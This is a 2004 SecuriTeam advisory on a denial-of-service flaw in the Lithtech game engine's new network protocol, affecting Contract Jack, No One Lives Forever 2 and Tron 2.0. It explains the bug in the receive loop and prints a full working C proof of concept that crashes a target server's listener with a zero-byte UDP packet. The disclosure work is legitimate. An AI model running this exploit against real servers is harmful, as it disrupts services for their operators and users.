[NT] Unreachable Socket in Lithtech Engine (New Protocol)
From: SecuriTeam (support_at_securiteam.com)
Date: 12/21/04
- Previous message: SecuriTeam: "[UNIX] Multiple Vendor xpdf PDF Viewer Buffer Overflow Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 21 Dec 2004 18:56:39 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Unreachable Socket in Lithtech Engine (New Protocol)
------------------------------------------------------------------------
SUMMARY
The Lithtech engine is a game engine used by many games. Some of the
latest games released and based on this engine use a network protocol
different than all the others (probably they use a new version of the
engine but naturally Luigi don't know all these details).
Just these latest games (all developed by Monolith) are those affected by
a bug that allows attacker to cause the program to stop responding:
Contract Jack (Nov 2003), No one lives forever 2 (Oct 2002) and Tron 2.0
(Aug 2003) (Other games might be affected as well).
DETAILS
Vulnerable Systems:
* Contract Jack version 1.1 and prior
* No one lives forever 2 version 1.3 and prior
* Tron 2.0 version 1.042 and prior
The new network protocol used by the Lithtech engine is composed by a loop
used to handle all the UDP packets received.
A select() function with a time out of 30 seconds searches for new data
into the socket's queue. If data is received or the socket goes in time
out, a recvfrom() is called and its return value is checked to know if has
happened an error. If there is a socket error, the game calls
WSAGetLastError() to catch the error code and returns reaching a main
check that is made ever before the usual select() function. This so-called
"main check" simply controls that the error returned by WSAGetLastError()
(and stored in a specific variable) is "Operation would block" (10035, the
only type of error accepted to continue the listening loop).
If an attacker sends an UDP packet of zero bytes, recvfrom() returns this
length and an instruction checks just if it is equal than zero. In this
case the code flow returns to the "main check" that controls the error
code (not set, so equal to zero) and since it is not 10035 exits from the
loop that handles the socket's data.
After that, the server will be no longer able to receive packets because
the loop is completely dead.
A similar problem happens if an attacker sends an UDP packet with a size
major/equal than 8193 bytes (max data read by recvfrom()) and minor/equal
than 12280 (otherwise select() doesn't catch it). The "main check" will
fail as before because the error code will be different than 10035 (in
fact it will be 10040, "Message too long").
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/lithsock.zip - SECU
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27888
#define TIMEOUT 3
#define CHECK "\x10\x7f\x33\x01"
#define ZERO "" // 0 bytes, a cool bug
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
< 0) std_err();
int info_proto(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Lithtech engine (new protocol) socket unreacheable "VER"\n"
" Contract Jack <= 1.1\n"
" No one lives forever 2 <= 1.3\n"
" Tron 2.0 <= 1.042\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- check if server is online\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
if(memcmp(buff, CHECK, 3)) {
if(*buff == '\\') {
fputs("- received an information reply, seems you have
specified a wrong port.\n"
" Try with a lower one\n", stdout);
} else {
fputs("\nError: unknown data received, this is none of the
vulnerable games\n\n", stdout);
}
exit(1);
}
}
fputs("- send a ZERO bytes packet\n", stdout);
SEND(ZERO);
fputs("- wait one second\n", stdout);
sleep(ONESEC);
fputs("- check if the server is vulnerable:\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/lithsock-adv.txt>
http://aluigi.altervista.org/adv/lithsock-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Multiple Vendor xpdf PDF Viewer Buffer Overflow Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NT] Simbin Racing Games Players Disconnection
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Simbin Racing Games Players
Disconnection ... an UDP packet of zero bytes sent to ... int main{ ...
(Securiteam) - [NT] Raknet Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... closed source games like
those developed by ... An UDP packet of 0 bytes is able to freeze the game server.
... (Securiteam) - [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows)
... The buffers in which the server stores these two strings have a size of 64 ...
int alen, ulen; ... (Securiteam) - [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine
2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell;
... (Securiteam) - [NT] Stronghold DoS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining
the server is locatd the client's nickname ... unsigned char *gssdkcr( ...
void show_info(u_char *data, int len); ... (Securiteam)